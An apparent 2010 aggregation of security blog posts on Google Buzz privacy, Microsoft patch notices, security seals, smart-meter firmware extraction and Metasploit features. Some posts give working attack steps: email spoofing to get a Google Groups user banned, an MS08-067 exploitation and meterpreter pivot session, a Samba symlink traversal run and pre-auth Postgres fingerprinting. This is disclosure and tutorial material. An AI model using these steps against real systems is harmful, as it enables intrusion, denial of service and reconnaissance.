On 01/03/10 At 04:56 PM

Would somebody please tell us why there's so much hype regarding privacy issues and Google Buzz?

Buzz integrates into Gmail… an e-mail service that reads (i.e. analyzes) your messages in order to target you with more specific ads, right? We recall objections being made about this analysis when Gmail launched. Has everyone forgotten this? Isn't this just the same tune being played once again?

Is anyone really that surprised that Google so aggressively rolled out automatic sharing features to Buzz?

It seems to us like a win-win situation. Either Google launches Buzz, to minimal objections, or else, they receive a great deal of free publicity while they "fix" the reported privacy issues. Google's launch of Buzz certainly created notable buzz in the press.

That's ultimately important for the search giant because unless they encourage sharing from their own services, they'll be losing out on future revenues to providers such as Facebook.

In fact, Facebook is already the world's largest news reader according to hitwise. It should not go without mention that Facebook's recent homepage update moved their search field towards the center of the screen. It's all connected.

Sharing is tomorrow's search and the players are beginning to battle it out. Your privacy is at stake, if you let it be. It's a trade off folks. You don't get to use free services and expect to get absolute privacy. Either you offer up some of your information for enhanced services, or you don't.

Remember, Google isn't your friend. It's a business.

If you really need privacy, use something else besides Gmail (and other free web based solutions). Some folks actually pay for their e-mail services, you can get something more secure for something like $20 a year, and that's cheap when you think about it.

On 18/02/10 At 02:25 PM

Today we are providing advance notification to customers that we will be releasing two bulletins this month affecting Windows and Microsoft Office products. Both bulletins are rated Important and address a total of 8 vulnerabilities.

We recommend that customers review the Advance Notification webpage and prepare to deploy these bulletins as soon as possible. To provide additional guidance for deployment prioritization, customers should note that both bulletins will address issues that would require a user to open a specially crafted file. There are no network based attack vectors.

We’re also continuing to monitor the situation with Security Advisory 981169, the VBScript issue disclosed on Monday. There are no known attacks but we encourage customers to review the advisory and apply the suggested workarounds where possible. Customers that are running Windows 7, Windows Server 2008, Windows Server 2008 R2, and Windows Vista are not affected.

As always, we will be hosting a public webcast where we will go in to details about the bulletins for March and where customers can ask questions. We will have a room full of engineers on hand to answer those questions live during the webcast. Here are the details:

Date: Wednesday, March 10
Time: 11:00 a.m. PST (UTC -8)
Registration: http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032427711

A couple of months ago, I started including information about products that are reaching the end of their product lifecycle. It is extremely important for customers to move to supported platforms because after the dates below, those products/service packs, will no longer receive security updates.

• Windows XP Service Pack 2 will no longer be supported after July 13, 2010. Many customers are still on this version, so we encourage upgrading to Service Pack 3 or to Windows 7 as soon as possible.
• Windows Vista RTM will no longer be supported after April 13, 2010. Service Pack 1 will still be supported until July 12, 2011 but we recommend customers update to Service Pack 2 or Windows 7 at this time.
• Extended support for Windows 2000 will also be retired as of July 13, 2010. After that time, we will no longer provide security or any other updates for Windows 2000.

Hope to see you at the webcast!

Jerry Bryant
Sr. Security Communications Manager Lead

*This posting is provided "AS IS" with no warranties, and confers no rights.*

Lets start with the proper disclosure; we provide a Web Site Security Seal service which competes with ControlScan’s. That said, I’m not about to bash ControlScan but rather the poor practices of security seal companies giving out seals to whoever pays them without the proper security checks.

Some background: The FTC sued ControlScan for $750,000 for giving out security seals while not really checking the security of the web sites. This lawsuit and its verdict are good news: It means that services that give out seals need to be responsible for their actions; no more “scanless PCI” badges: if you give out a seal (and I’m looking at all you large domain resellers) that needs to stand for something - when customers see a seal that says “secure site” they need to know the site is secure.

Before you take out the pitchforks, sure - there is no way to verify with 100% certainty that the web site is “secure”. But vulnerability scanning is at a stage today where you can run automated scans and make sure the web site is “secure enough” - meaning it does not have any known vulnerabilities, doesn’t suffer from SQL injections or cross site scripting. If there is a zero day vulnerability in apache, I doubt it will be used against an e-commerce site - it is more likely to be used against a bank or the government. Fact is, over 90% of successful attacks use known vulnerabilities that would have been detected by any competent scanner. If the site is properly scanned and no vulnerabilities are found, this is probably as good as it’s ever going to get; and is definitely better than the chances of your credit card being stolen at a brick-and-mortar store.

What will happen with ControlScan is not really important. What’s important is that security seal providers will now have to stand behind their claims - the fact that the FCC went after a case like this, which is normally way below their threshold, probably means that someone is applying pressure on them; hopefully that will help clean up the act of some online scanning vendors.

Note: Complaint, Exhibits and final judgment here.

-

Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!

Hi,

I am writing to let you know that we have revised the installation packages for MS10-015 with new logic that prevents the security update from being installed on systems if certain abnormal conditions exist. Such conditions could be the result of an infection with a computer virus such as the Alureon rootkit. If these conditions are detected, the update will not be installed and the result will be a standard Windows Update error. If a user receives this error, they should go to the following landing page for additional help:

http://www.microsoft.com/security/updates/015

At this time, we have resumed offering the update to all affected systems via Automatic Updates.

We have also released a Microsoft Fix It as a standalone scanning tool that reports on the compatibility of a system with the MS10-015 update. The scanning tool can also be deployed through enterprise deployment systems allowing administrators to detect compatibility with the update before deploying broadly. The Fix It and deployment information are available at Microsoft Knowledge Base Article 980966.

Customers who believe they have experienced a restart issue after installing MS10-015, are encouraged to visit our Customer Service and Support page at https://consumersecuritysupport.microsoft.com or call 1-866-PCSafety (1-866-727-2338). International customers can find local support contact numbers here: http://support.microsoft.com/common/international.aspx.

Update: note that the update will not be re-offered to those who have already successfully installed the update.

Thanks,

Jerry Bryant
Sr. Security Communications Manager Lead 

*This posting is provided "AS IS" with no warranties, and confers no rights.*

Hey all,

SP and me will be teaching a trainings class this year at CanSecWest. If you have some background in reverse engineering and want to

• become a more efficient reverse engineer
• become a more efficient bug hunter
• become better at understanding stuff like Acrobat's JScript Engine

this class is for you. We will teach you stuff including but not limited to:

• Quickly find where the interesting parts of the executable are: Who is parsing user input ? Who is responsible for the crypto ?
• Save time: Identify what open-source libraries are statically linked into the executable. Why audit binary when you can read source ?
  
• Want to understand what Acrobat is doing ? Or most C++ programs nowadays ? Generate UML diagrams from binaries, showing you all the classes and their hierarchy.

Anyhow, follow this link if you are interested. I think it's going to be a blast.

Cheers,
Halvar

In honor of the USPO’s decision to allow Facebook’s patent for social feeds I decided to patent XSS. Please pay up. You know who you are. Thank you.

So far in the Pushing the Limits of Windows series, I’ve focused on resources managed by the Windows operating system kernel, including physical and virtual memory, paged and nonpaged pool, processes, threads and handles. In this and the next post, however,...(read more)

There’s an interesting post over at Krebs On Security talking about some poor company that is going bankrupt because TD Bank allegedly will not give them their money back after it was stolen out of their account. Now, I wish I could say this concept is totally foreign to me, but unfortunately this isn’t the first time I’ve heard this story. I’m under NDAs not to describe the people involved, or the bank involved, but the important details are nearly identical to this story. Why is this happening?

There is a little known code call the UCC (Uniform Commercial Code) that essentially says that if you are a business and you want to do wire transfers you are essentially to be treated as a bank. You are probably wincing right now, because it’s just as stupid as it sounds. Note that this is not true for consumers - but even if your business consists of even one person, you still are treated as a bank. As such, if your company has money wired out of it’s account, the bank isn’t to be held liable - or at least that’s been their argument. This is happening all the time, so why aren’t we hearing about it all the time? Well that leads me to the worst part of this story.

The banks have essentially two options if a company takes them to court. They can win the case, or they can lose the case. If they win, that leaves the company in question free to say and do whatever they want (as is the case with TD Bank above). If they lose the case, it essentially creates precedence and can open the bank to class action lawsuits to overturn the UCC. Either way, it’s a bad day for the bank. So they opt for the third choice which is to delay the inevitable. They make these poor businesses wait for sometimes years before they will begrudgingly settle for somewhere shy of the full amount. Sometimes companies just give up, and sometimes they take the money and sign the NDAs. Either way, that’s a much better outcome than letting something get litigated. So yes, those poor companies are getting the run around, and we don’t get to hear about it because at the end of the day they are all signing NDAs.

So, if you run a company, be prepared for the worst when it comes to how the bank is going to treat you if someone steals your money. There don’t appear to be any safeguards other than individual contracts you might be able to get your bank to sign and agree to. However, if anyone happens to work for a bank, and can guarantee that money held there will be treated just like physical cash (and reimbursed just like if it is stolen out of the vault), I’m sure companies would flock to you - I know a lot of small businesses that would like to know that their money is safe, and right now, it just isn’t with TD Bank and their ilk. In the meantime, I sort of hope some lawyer is salivating at the prospect of a class action suit.

The next Baysec meeting is Tuesday March 2nd at Kate O’Briens. Come out and meet fellow security people from all over the Bay Area. As always, this is not a sponsored meeting, there is no agenda or speakers, and no RSVP is needed.

See you Tuesday, March 2, 7-11 pm. We’ll be towards the back.

Kate O’Briens
579 Howard St. @ 2nd, San Francisco
(415) 882-7240

… Speaking of Google, I got an email from TrainReq (the same fellow who allegedly hacked Miley Cyrus for those who don’t keep up to date on your tween idols). The email was regarding an exploit against Google Buzz. It’s yet another example of bad input validation/output encoding by your favorite advertising overlords at Google. As you can see, nothing up my sleeves:

There’s four things of note here. Firstly it’s on Google’s domain, not some other domain like Google Gadgets or something. So yes, it’s bad for phishing and for cookies. Secondly, it’s over SSL/TLS (so no one should be able to see what’s going on, right?). Third, it could be used to hijack Google Buzz - as if anyone is using that product (or at least you shouldn’t be). And lastly isn’t it ironic that Google is asking to know where I am on the very same page that’s being compromised? Why on earth does Google think its systems are secure enough to trust them with that kind of sensitive information? Yes, bad guys can figure out where you’re located if you allow that function. Chinese dissidents beware! But if you have something to hide, you must be a bad guy, right, Eric?

I’ve been waiting a while to do this post - several weeks actually since my original post. In that post, I applauded Google’s apparent interest in reigning censorship as “the first really truly non-evil thing I have seen Google do in years”. Since then, I thought it appropriate to give them some time to sift through the nuances of their blog post - you know, to give them the benefit of the doubt - of which I had many. I’m sure you remember just one month ago when Google was waxing on about how they were going to stop censoring:

We have decided we are no longer willing to continue censoring our results on Google.cn, and so over the next few weeks we will be discussing with the Chinese government the basis on which we could operate an unfiltered search engine within the law, if at all.

Well, according to The Register:

Google Chief Legal Officer David Drummond never said his company would stop censoring hot-button issues such as the Tiananmen Square massacre of 1989.

If that theory is true Google is essentially saying, “You were too stupid to read our post properly because clearly, our post means that we aren’t able to do so legally, so we’re still going to censor.” If that’s true why would Google wait to clarify such an extremely well publicized fauxpas in their own wording? Maybe they missed all those flowers at the Chinese office. No, I don’t believe that The Register’s theory is true - I think Google sincerely intended to pull out or get more support from the Chinese. However, I believe that Google is being stonewalled by the Chinese government - and for good reason. Google’s demands are impossible to comply with. But we all know that Google and China have been talking for weeks and we haven’t seen any movement other than China’s response to Hillary Clinton saying that they don’t censor (and if anyone still needs proof, email me and I’ll give you instructions on how to see it in action).

Google hasn’t stopped censoring anything, and they haven’t pulled out of China. They asked for a “few weeks” to have those talks, and it has been a few. So now we have to ask the question - does Google actually care about the Chinese people, or is it all about making money for the shareholders. We know that Google censors elsewhere in the world, it’s not just China, yet they’ve not even made mention of those citizens of the other nations. So we have to make the logical connection that Google is just acting in their own self interest and this whole China thing is a distraction from several other major issues, and has nothing to do with the best interest of people who are being censored. So now the real question is did Google do what it sent out to do?

And, so yes bravo, Google. Well done. You snowballed everyone as you stall for time trying to figure out what you want to do with your failing Chinese division. You spanked the Chinese government for hacking into your systems while you drew fire away from your crappy security around your warrant-less wiretapping system that you built into Gmail. So yes, I would have to assess Google’s incredibly calculated decision as a success, but not for the people of China or other censored peoples around the world. It’s back to business as usual at the Googleplex. And so yes, Google, you can keep slinging your ads well into the future. But I have to ask - at what cost?

In 2008, a nice man from PG&E came out to work on my house. He installed a new body for the gas meter and said someone would come by later to install the electronics module to make it a “smart meter“. Since I work with security for embedded systems, this didn’t sound very exciting. I read up on smart meters and found they not only broadcast billing information (something I consider only a small privacy risk) but also provide remote control. A software bug, typo at the control center, or hacker could potentially turn off my power and gas. But how vulnerable was I actually?

I decided to look into how smart meters work. Since the electronics module never was installed, I called up various parts supply houses to try to buy one. They were quite suspicious, requesting company background info and letterhead before deciding if they could send an evaluation sample. Even though this was long before IOActive outed smart meter flaws to CNN, they had obviously gotten the message that these weren’t just ordinary valves or pipes.

Power, gas, and water meters have a long history of tampering attacks. People have drilled into them, shorted them out, slowed them down, and rewired them to run backwards. I don’t think I need to mention that doing those kinds of things is extremely dangerous and illegal. This history is probably why the parts supplier wasn’t eager to sell any smart meter boards to the public.

There’s always an easier way. By analyzing the vendor’s website, I guessed that they use the same radio module across product lines and other markets wouldn’t be so paranoid. Sure enough, the radio module for a water meter made by the same vendor was available on Ebay for $30. It arrived a few days later.

The case was hard plastic to prevent water damage. I used a bright light and careful tapping to be sure I wasn’t going to cut into anything with the Dremel. I cut a small window to see inside and identified where else to cut. I could see some of the radio circuitry and the battery connector.

After more cutting, it appeared that the battery was held against the board by the case and had spring-loaded contacts (see above). This would probably zeroize the device’s memory if it was cut open by someone trying to cheat the system. I applied hot glue to hold the contacts to the board and then cut away the rest of the enclosure.

Inside, the board had a standard MSP430F148 microcontroller and a metal cage with the radio circuitry underneath. I was in luck. I had previously obtained all the tools for working with the MSP430 in the Fastrak transponder. These CPUs are popular in the RFID world because they are very low power. I used the datasheet to identify the JTAG pinouts on this particular model and found the vendor even provided handy pads for them.

Since the pads matched the standard 0.1″ header spacing, I soldered a section of header directly to the board. For the ground pin, I ran a small wire to an appropriate location found with my multimeter. Then I added more hot glue to stabilize the header. I connected the JTAG cable to my programmer. The moment of truth was at hand — was the lock bit set?

Not surprisingly (if you read about the Fastrak project), the lock bit was not set and I was able to dump the firmware. I loaded it into the IDA Pro disassembler via the MSP430 CPU plugin. The remainder of the work would be to trace the board’s IO pins to identify how the microcontroller interfaced with the radio and look for protocol handling routines in the firmware to find crypto or other security flaws.

I haven’t had time to complete the firmware analysis yet. Given the basic crypto flaws in other smart meter firmware (such as Travis Goodspeed finding a PRNG whose design was probably drawn in crayon), I expect there would be other stomach-churning findings in this one. Not even taking rudimentary measures such as setting the lock bit does not bode well for its security.

I am not against the concept of smart meters. The remote reading feature could save a lot of money and dog bites with relatively minimal privacy exposure, even if the crypto was weak. I would be fine if power companies offered an opt-in remote control feature in exchange for lower rates. Perhaps this feature could be limited to cutting a house’s power to 2000 watts or something.

However, something as important as turning off power completely should require a truck roll. A person driving a truck will not turn off the mayor’s power or hundreds of houses at once without asking questions. A computer will. Remote control should not be a mandatory feature bundled with remote reading.

The buzz was on about google buzz sharing your list of contacts (which they then quickly fixed in their casual we-did-nothing-wrong-these-are-not-the-droids-you’re-looking-for mind trick).

Readers of this blog remember when google calendar let you see the full name behind every gmail address. At that time, google ignored, then decided there’s nothing wrong with that feature, then fixed it. Only it still works, on other google services. Of course, these aren’t the droids I’m looking for.

Well, here’s a method to DoS a google group user; it was discovered by Shachar Shemesh of lingnu about 18 months ago, who told google and was answered with a strong silence. With google the only disclosure seems to be full-disclosure, so with apologies to you google-group users out there, here is the outline of the attack below.

DoS’ing google groups
Domain-Key is a good method to prevent spam from coming in, as well as preventing unwanted emails from being handled if they are sent through “the wrong” SMTP server.

Google has taken domain-key a step further, with their Domain-Key and Google Groups combo. In this combination, if an email is sent to a Google Groups from an SMTP server who is not listed in the Domain-key record, that email will be banned from writing or accessing the Google Group in question.

The banned user will no longer be able to write or read from that group, will not be able to “undo” this change as emails to Google’s technical support regarding this appear to go unanswered.

From this background, the attack seems clear. A malicious attacker can get pretty much anyone banned from a certain Google Group.

Steps to reproduce:

• Subscribe to a Google group.

• Look for a victim (Anyone posting to the group from a gmail.com account is fair game).

• Configure your email client to send emails with a “From” field that matches this email address, and use an SMTP that is not one of those authorized by the domain key. Your ISP’s SMTP servers will probably suffice.

• Use this configurations to send an email to the group. It doesn’t really matter what the email content is, but I recommend making it look like a genuine email to make is harder to filter (and raise ‘plausible deniability’ in case someone comes asking questions).

As a result:
The victim will be automatically banned from the group.

He or She will receive no notification of that fact: not to the fact he or she was banned, and not even to the fact that the email he or she supposedly sent failed Domain key verification.

The victim will cease to receive emails from the group. They will only find out about it if they try to send an email, at which point they will receive a brief and unhelpful message saying they were banned, with no explanation why and no means to appeal.

Trying to access the group from the web site will result in a “you are banned” message, again, with no helpful information on why the ban was instated nor how to appeal. It is a curious point that even information that is publicly available without registration, such as the group’s archive or description, will be blocked. They will have to sign out of Google to be able to see it(!).

The best means to appeal she is likely to find is “Google Help”, which points to an email address where past experience shows the request email will be unceremoniously ignored, just like Shachar’s email notifying google of this vulnerability.

-

Expose the security holes in your products during development. Black Box Testing makes it safer!

Hat tip to cyberlocksmith for this post. He pointed me to a good article on how to phish Google Wave users using malicious gadgets. This is precisely what Tom Stracener and I were talking about in our presentation at DefCon and Blackhat a few years back - except this is for Wave instead of iGoogle. Either way the point is the same - when you let other people control content that is embedded in your site, you are at the mercy of whatever they chose to do within that gadget. In this case, they can pop the user out of the iframe and present them with a duplicate of the sign-in page. The vast majority of users would fall for this kind of attack too.

I really don’t mean to harp too much on Google specifically for this stuff (in as much as I have countless times in the past held them accountable for their crappy security). There are lots of other companies and websites that are moving to user supplied gadgets in an iframe as if that makes them safe. Maybe some variant of HTML5 + some trickery can solve these problems, but there’s a lot of legacy users who won’t be able to support those standards for a good long while. In the mean-time, we just continue to see more vulnerable code being outputted by Google and their peers and the only saving grace is that no one has yet decided to take advantage of their security flaws. Scary. But I’m sure a blacklist will solve their problems if and when they do get attacked, right? Right?

Among the coolest features in metasploit is the ability to pivot through a meterpreter session to the network on the other side. The route command in msfconsole sets this up but requires a bit of typing to get right.

[*] Meterpreter session 1 opened (10.1.1.1:4444 -> 10.1.1.128:1238)

meterpreter > run get_local_subnets 
Local subnet: 10.1.1.0/255.255.255.0
meterpreter > background 
msf exploit(ms08_067_netapi) > route add 10.1.1.0 255.255.255.0 1
msf exploit(ms08_067_netapi) > route print

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   10.1.1.0           255.255.255.0      Session 1

msf exploit(ms08_067_netapi) > 

After running the above commands any traffic sent to addresses in the 10.1.1.0 network will be tunnelled through the session. As part of my Blackhat DC presentation last week, I demo'd a plugin that automatically adds a route for any previously-unseen subnets when a new session opens up. Here is some example usage and output:

msf exploit(ms08_067_netapi) > load auto_add_route 
[*] Successfully loaded plugin: auto_add_route
msf exploit(ms08_067_netapi) > exploit 

[*] Started reverse handler on 10.1.1.1:4444 
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (725504 bytes)
[*] Meterpreter session 1 opened (10.1.1.1:4444 -> 10.1.1.128:1239)
[*] AutoAddRoute: Routing new subnet 10.1.1.0/255.255.255.0 through session 1

meterpreter > background 
msf exploit(ms08_067_netapi) > route print

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   10.1.1.0           255.255.255.0      Session 1

msf exploit(ms08_067_netapi) > 

The auto_add_route plugin is now available in the metasploit trunk; 'svn up' to get it.

Hey all,

now that all the technical stuff is going to the zynamics company blog , I will have some room here for writing about other topics. Beware: Politics might be involved, or just general rants.

Tonight I will write a little bit about tax evasion and welfare fraud. I somehow wound up in a discussion about the topic, and the end result was that I spent 20 minutes doing a bit of research on the topic.

Background: The German government was offered a CD containing data of people that have moved money into swiss bank accounts, presumably to evade taxes. The person offering the CD claims that it contains almost exclusively data of tax evaders, and demands a fee of 2.5 million EU to provide the CD to German authorities.

This situation has spawned a debate about the legality of the situation: Is it "right" for the German government to buy data that was obtained in a presumably illicit fashion ? (I intentionally avoid "illegal" here -- the person that obtained the data might be in breach of contract with his employer, but it is unclear whether he broke any criminal laws)

Clearly, it is a tricky question - but the difficulty of this question is not the topic of this blog post.

Recently, a German politician (who, ironically, was repeatedly involved in corruption affairs, most notably in the CDU-party-donations affair) by the name of "Roland Koch" argued that welfare fraud is a serious problem in Germany, and that 15% of all welware recipients do not actually want to work. He argued for annuling benefits of these 15% in a large conservative newspaper (the FAZ).

So in todays discussion, the question came up: What is actually the "bigger" crime (in terms of financial damage): Tax evasion of welfare fraud ?

It is relatively straightforward to calculate the cost of welfare fraud: Germany spent 21.7 billion EU in 2008 on the "Hartz-4" system. This includes administrative overhead. Assuming that Mr. Kochs claim has merit, and assuming that overhead is also inflated due to fraud, ~3.3 billion EU are lost annually to welfare fraud.

It is much more difficult to calculate the cost of tax evasion. There are many numbers that are difficult to justify, and most appear to be made up arbitrarily. The only halfways reliable number I could find was from this article:

The amount of money generated from tax investigations that followed evasion was ~1.6 billion EU in 2004. Inflation-adjusted to 2008 at 2% inflation, this ends up being ~1.73 billion.

This implies something rather interesting:

1. Assuming that every third tax evader is caught (which I deem more realistic, just by gut feeling, e.g. without any scientific base), tax evasion is already a much bigger problem than welfare fraud.

The question of course is: What is the actual rate of tax evasion to "getting caught" ?

Last night, Kingcope uploaded a video to youtube demonstrating a logic flaw in the Samba CIFS service (this was followed by a mailing list post). This bug allows any user with write access to a file share to create a symbolic link to the root filesystem. From this link, the user can access any file on the system with their current privileges. This affects any Samba service that allows anonymous write access, however read access to the filesystem is limited by normal user-level privileges. In most cases, anonymous users are limited to the 'nobody' account, limiting the damage possible through this exploit.

A Metasploit auxiliary module has been added to verify and test this vulnerability. Update to SVN revision 8369 or newer and start up the Metasploit Console:

$ msfconsole
msf > use auxiliary/admin/smb/samba_symlink_traversal

msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.0.2

msf auxiliary(samba_symlink_traversal) > set SMBSHARE shared

msf auxiliary(samba_symlink_traversal) > set SMBTARGET rooted

msf auxiliary(samba_symlink_traversal) > run

[*] Connecting to the server...
[*] Trying to mount writeable share 'shared'...
[*] Trying to link 'rooted' to the root filesystem...
[*] Now access the following share to browse the root filesystem:
[*] \\192.168.0.2\shared\rooted\


Keep in mind that non-anonymous shares can be used as well, just enter SMBUser and SMBPass for a valid user account.

Many database servers helpfully provide version number, platform, and other salient details to just about anyone who asks, authenticated or not, which makes fingerprinting these applications a snap. However, Postgres is a little more coquettish about revealing such personal information about itself to just anyone. The best way to determine Postgres' version is to log in and just ask with a "select version()" query, but what if you don't (yet) have credentials?

Lucky for unauthenticated types, it turns out that Postgres is pretty forthcoming in its authentication failure messages. Take this example response to a failed login attempt:

0000   45 00 00 00 61 53 46 41 54 41 4c 00 43 32 38 30  E...aSFATAL.C280
0010   30 30 00 4d 70 61 73 73 77 6f 72 64 20 61 75 74  00.Mpassword aut
0020   68 65 6e 74 69 63 61 74 69 6f 6e 20 66 61 69 6c  hentication fail
0030   65 64 20 66 6f 72 20 75 73 65 72 20 22 70 6f 73  ed for user "pos
0040   74 67 72 65 73 22 00 46 61 75 74 68 2e 63 00 4c  tgres".Fauth.c.L
0050   32 37 33 00 52 61 75 74 68 5f 66 61 69 6c 65 64  273.Rauth_failed
0060   00 00                                            ..

This tells us that an error (E) was encountered related to the source file (F) auth.c, on line (L) 273, in the routine (R) auth_failed. From here, it's pretty easy to guess what happens when Postgres has a new release -- usually, things like line counts tend to change. That means we can use this error code as a handy fingerprint for pretty much every minor version release of Postgres: The above comes from version 8.4.2, but on 8.4.1, the line number is 258, it's 1017 in 8.3.9, et cetera. These differences go back at least as far as Postgres 7.4.

Metasploit (as of this morning) now supports Postgres enumeration using this technique. Check it out with a quick update. The module looks something like this:

msf auxiliary(postgres_version) > set verbose true
verbose => true
msf auxiliary(postgres_version) > run

[*] 192.168.145.50:5432 Postgres - Trying username:'postgres' with password:'?dsx)S' against 192.168.145.50:5432 on database 'template1'
[+] 192.168.145.50:5432 Postgres - Version 8.4.2 (Pre-Auth)
[*] 192.168.145.50:5432 Postgres - Disconnected
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

As mentioned at the top, if you do happen to have login credentials, you can always use those instead:

msf auxiliary(postgres_version) > set username scott
username => scott
msf auxiliary(postgres_version) > set password tiger
password => tiger
msf auxiliary(postgres_version) > run

[*] 192.168.145.50:5432 Postgres - Trying username:'scott' with password:'tiger' against 192.168.145.50:5432 on database 'template1'
[*] 192.168.145.50:5432 Postgres - querying with 'select version()'
[+] 192.168.145.50:5432 Postgres - Command complete.
[+] 192.168.145.50:5432 Postgres - Logged in to 'template1' with 'scott':'tiger'
[+] 192.168.145.50:5432 Postgres - Version 8.4.2 (Post-Auth)
[*] 192.168.145.50:5432 Postgres - Disconnected
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

We've collected a few signatures so far; we can reliably identify pretty much all of the straight Linux builds of Postgres from 7.4.26 through 8.4.2, as well as the latest Windows build. So, in the event you run into a version/platform combination of Postgres that we haven't accounted for yet, the module will display and log the relevant signature data for an easy copy-paste. Feel free to let us know about it so we can package it up. In the meantime, I'm off to hunt down some more Postgres installs.

I did a presentation at the DefCon Comedy Jam about how users manually validate updates for Firefox was just a total mess from a security perspective. It had a lot to do with the fact that they are using round robin DNS and relying on the good will of a lot of dispirit sites to do their hosting for them. Well, I’ve been wondering more and more about how I may or may not be able to download these releases and verify them manually in a secure way. So I did a few checks and here’s the IP space I found and the status of what their SSL/TLS ports were when checked yesterday:

63.245.208.152 (live but with SSL/TLS mismatch)
128.61.111.9 (connection refused)
129.101.198.59 (connection refused)
131.188.12.212 (connection refused)
149.20.20.5 (connection refused)
156.56.247.196 (connection refused)
202.177.202.154 (connection refused)
204.152.184.196 (connection refused)
204.246.0.136 (connection refused)
216.165.129.141 (connection refused)
64.50.236.214 (connection refused)
64.50.236.52 (connection refused)
129.101.198.59 (operation timed out)
155.98.64.83 (operation timed out)

So only 1 out of 14 even have SSL enabled. Okay… well today, I took a little spin on SSLLabs and I found that the one site that does have SSL enabled (63.245.208.152) has a SSL/TLS mismatch error for videos.mozilla.org. I mean… seriously! If your browser goes to https://releases.mozilla.org this is sort of what’s happening under the hood:

$ telnet releases.mozilla.org 443
Trying 202.177.202.154…
telnet: connect to address 202.177.202.154: Connection refused
Trying 204.152.184.196…
telnet: connect to address 204.152.184.196: Connection refused
Trying 204.246.0.136…
telnet: connect to address 204.246.0.136: Connection refused
Trying 216.165.129.141…
telnet: connect to address 216.165.129.141: Connection refused
Trying 64.50.236.214…
telnet: connect to address 64.50.236.214: Connection refused
Trying 128.61.111.9…
telnet: connect to address 128.61.111.9: Connection refused
Trying 129.101.198.59…
telnet: connect to address 129.101.198.59: Connection refused
Trying 131.188.12.212…
telnet: connect to address 131.188.12.212: Connection refused
Trying 149.20.20.5…
telnet: connect to address 149.20.20.5: Connection refused
Trying 155.98.64.83…
telnet: connect to address 155.98.64.83: Operation timed out
Trying 156.56.247.196…
telnet: connect to address 156.56.247.196: Connection refused
Trying 63.245.208.152…
Connected to releases.geo.mozilla.com.
Escape character is ‘^]’.
^]
telnet> quit

Yes, after a minute of trying your browser will eventually find the one HTTPS server - or it won’t (sometimes it just gives up). So then in poking around within my Mozilla config I saw a reference to http://en-US.www.mozilla.com/en-US/firefox/3.5.7/releasenotes/. So I switched to SSL/TLS with this link, because I like being secure, and I get a SSL/TLS warning as well. These are the kinds of things that make Firefox incredibly unsafe to manually download and verify the binaries if you are in a hostile environment. And I’m just scratching the surface compared to my presentation. How many of those 3rd party sites do you think can be exploited?